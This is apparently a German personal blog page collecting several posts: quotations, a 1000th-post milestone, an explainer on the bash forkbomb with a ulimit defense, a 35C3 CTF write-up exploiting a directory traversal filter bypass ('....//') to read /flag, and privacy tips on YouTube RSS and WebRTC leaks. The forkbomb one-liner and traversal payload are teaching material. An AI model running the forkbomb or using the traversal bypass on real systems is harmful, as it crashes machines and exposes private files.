Zitate Nr. 419 – Es gibt keine Grenzen. Nicht für den Gedanken, nicht für …
Es gibt keine Grenzen. Nicht für den Gedanken, nicht für die Gefühle. Die Angst setzt die Grenzen.
von Ingmar Bergman
Es gibt keine Grenzen. Nicht für den Gedanken, nicht für die Gefühle. Die Angst setzt die Grenzen.
von Ingmar Bergman
Eine Forkbomb ist eine Form eines Denial of Service (DoS) Angriffs gegen ein Linux System. Dabei sollen alle verfügbaren Systemressourcen aufgebraucht werden, um so das System zu blockieren.
Warnung
Die Ausführung des hier abgebildeten Codes kann Ihr System abstürzen lassen!
Beispielcode
:(){ :|:& };:
In dem hier aufgeführten Beispiel handelt es sich um eine Bash Funktion, welche die „fork“ Operation verwendet und rekursiv aufgerufen wird. Wenn die Forkbomb aktiviert wurde, kann es passieren, dass der normale Betrieb des Systems erst nach einem Neustart wieder möglich ist.
Analyse
Code | Beschreibung |
---|---|
:() | Definiert eine Funktion mit dem Namen „:“ |
Lesbar formatiert stellt sich die Funktion so dar:
:(){ :|:&; };:
Code | Beschreibung |
---|---|
{ | Klammer, die den Funktionsbereich öffnet |
:|: | Ruft die Funktion selbst auf (Rekursion) und gibt die Ausgabe an eine Kopie von „:“ weiter. |
& | Führt die Funktion im Hintergrund aus und ist somit unabhängig vom aufrufenden Prozess |
} | Klammer, die den Funktionsbereich schließt |
; | Beendet die Funktionsdefinition |
: | Startet die Funktion „:“ |
Verallgemeinerte Darstellung
function boom() { boom | boom&; } boom
System schützen
Unter Linux können unter „/etc/security/limits.conf“ Datei- und Prozesslimitierungen vorgenommen werden. Das Programm „ulimit“ ermöglicht die Beschränkungen der systemweiten Ressourcennutzung zu konfigurieren.
ulimit -u
Mit der Ausführung wird eine Nummer angezeigt, diese gibt an, wie viele Prozesse auf dem System laufen können. Um das System zu schützen muss die Nummer verringert werden. Mit dem folgenden Befehl wird die aktuelle Session auf max. 4000 Prozesse beschränkt.
ulimit -S -u 4000
Wenn jetzt versucht wird, eine Forkbomb zu starten, sollte folgende Fehlermeldung erscheinen: „fork: resource temporarily unavailable“. Dies bedeutet, dass Ihr System der Forkbomb nicht erlaubt hat, weitere Prozesse zu starten.
Bildquelle: pixabay.com/de/bombe-computer-virus-z%C3%BCnden-gefahr-152795/
Es ist besser, unvollkommene Entscheidungen durchzuführen, als beständig nach vollkommenen Entscheidungen zu suchen, die es niemals geben wird.
Jetzt ist es soweit, seit dem 08.07.2009 gibt es auf dem Blog von Wantedlink zu den unterschiedlichsten Themen unterhaltsame, hilfreiche und provokante Beiträge. Mit diesem Post sind es genau tausend. Mein Dank geht an alle Leser, Korrekturschreiber/innen und an die Gastautoren.
Zum Livefeuerwerk: Hier Klicken
Eine Bilanz darf natürlich nicht fehlen.
Anzahl | Kategorien |
---|---|
417 | Zitate |
161 | IT |
144 | Weihnachtskalender |
106 | Bücher (Rezensionen) |
69 | Unterhaltung |
19 | IT-Security |
19 | Management |
20 | Allgemeine Themen |
16 | Wantedlink |
13 | Modellbahn |
5 | Kunst |
5 | Sprache |
6 | Ideen |
Die Top-10-Artikel/Seiten
Bildquelle: pixabay.com/de/silvester-feuerwerk-leuchtfeuer-1953253
Neuere Videos auf dem Blog werden jetzt per lazy loading geladen. Dadurch wird der Aufruf der Seite spürbar schneller.
Weiterhin viel Spaß!
Gutes Benehmen besteht darin, dass man verbirgt, wie viel man von sich selber hält und wie wenig von den anderen.
von Jean Cocteau
Der CCC veranstaltet seit 35 Jahren einen Kongress. Der diesjährige fand unter dem Motto Refreshing Memories statt. Auch in diesem Jahr gab es ein CTF (Capture the flag) Spiel. Ziel eines CTF-Spiels ist es, eine Schwachstelle zu finden, diese auszunutzen und ein „Flag“ in Erfahrung zu bringen.
Challenge
Fun with flags: http://35.207.169.47
Flag is at /flag
Difficulty estimate: Easy
Beim Aufruf der Adresse wurde folgende Seite angezeigt.
Analyse
Der PHP Code holt sich die aktuellen gesetzten Browsersprachen.
$lang = $_SERVER['HTTP_ACCEPT_LANGUAGE'] ?? 'ot';
Danach werden die Sprachen (falls mehrere gesetzt sind) aufgeteilt und die erste wird in die Variable geschrieben.
$lang = explode(',', $lang)[0];
Daraufhin wird der Inhalt der Variable gesäubert bzw. geschützt.
$lang = str_replace('../', '', $lang);
Als nächstes wird aus dem Ordner „flags“ das Bild passend zur Sprache geladen.
$c = file_get_contents("flags/$lang");
Jetzt erfolgt eine Prüfung, ob eine Datei vorhanden ist und wenn nicht, wird ein default Bild geladen.
if (!$c) $c = file_get_contents("flags/ot");
In der letzten Zeile erfolgt die Ausgabe.
Information gathering
Was wissen wir:
Unser Ziel ist es, dass Laden des Inhaltes zu beeinflussen.
$c = file_get_contents("flags/../../../../../flag");
Das ist prinzipiell möglich, da die Browsersprache selbst festgelegt werden kann. Dafür im Firefox in der Adresszeile den Befehl „about:config“ eingeben und nach „intl.accept_languages“ suchen.
Jetzt noch den Schutzmechanismus „str_replace“ umgehen. Die Funktion ersetzt den Text „../“ durch einen leeren String. Der Mechanismus ist leicht zu umgehen, denn es wird nur „../“ ersetzt. Wenn aber als Input für die Funktion „….//“ beinhaltet, ist das Output „../“ und genau das möchten wir erreichen. Es werden lediglich zwei Punkte und ein Slash entfernt, der Rest bleibt erhalten.
Exploiting
1. Wir ändern unsere Browsersprache in „….//….//….//….//flag“
2. Wir rufen die Seite auf.
Es wird kein Bild angezeigt. Also den Quelltext der Seite anzeigen lassen (STRG +U).
3. Den Text kopieren und dekodieren.
echo "MzVjM190aGlzX2ZsYWdfaXNfdGhlX2JlNXRfZmw0Zwo=" | base64 -d
Solution: 35c3_this_flag_is_the_be5t_fl4g
Diese Art von Angriff nennt man directory traversal attack. :)
Die Zukunft soll man nicht voraussehen wollen, sondern möglich machen.
Ich wünsche allen Leserinnen und Lesern meine Blogs ein gesundes und glückliches 2019.
Viele Grüße Mario
Everything we hear is an opinion, not a fact. Everything we see is a perspective not the truth.
von Marcus Aurelius
Auf YouTube ist es möglich, Kanäle (Channels) zu abonnieren. Dafür muss man allerdings einen YouTube Account anlegen und sich einloggen. Eine Alternative ist das Abonnement per RSS Feed. Hierfür wird kein YouTube Account und kein Login benötigt.
Folgende Adresse bildet die Basis für den RSS Feed:
https://www.youtube.com/feeds/videos.xml?channel_id=CHANNEL-ID
Der Parameter „CHANNEL-ID“ muss lediglich ersetzt werden. Um die Channel-ID herauszufinden, einfach auf den gewünschten Kanal gehen und auf „Videos“ klicken.
Darauf den Quellcode der Seite anzeigen (Rechte Maustaste, Quellcode anzeigen) und nach dem Wort „rssUrl“ suchen.
Jetzt kann die Adresse für das RSS Abonnement zusammengebaut werden.
https://www.youtube.com/feeds/videos.xml?channel_id=UCCI6C8hD-hTZi2JEmS7zvQw
Weiterführende Links:
Das Leben ist wie ein Schneeball. Es kommt darauf an, nassen Schnee zu finden und einen sehr langen Hügel.
WebRTC steht für „Web Real Time Communication“ und ist ein offener Standard von gängigen Webbrowsen. Dadurch ist es möglich, Sprache und Videos von Browser zu Browser zu übertragen. Zum Einsatz kommt dabei das STUN-Protokoll, welches die öffentliche und die lokale IP-Adresse mit überträgt (IP-Leak).
Auch eine VPN-Verbindung schützt hier nicht, da die Adresse über JavaScript ausgelesen wird. Zum Deaktivieren im Firefox in der Adresszeile den folgenden Befehl eingeben:
about:config
und mit Enter bestätigen. Daraufhin muss ein Sicherheitshinweis akzeptiert werden.
Jetzt im Suchfeld „media.peerconnection.enabled“ eingeben
media.peerconnection.enabled
und den Wert mit einem Doppelklick auf „false“ setzen. Daraufhin ist das „Feature“ deaktiviert und die IP Adresse wird nicht mehr preisgegeben.
Suche nicht nach Fehlern, suche nach Lösungen.
von Henry Ford
Thx. Ben ;)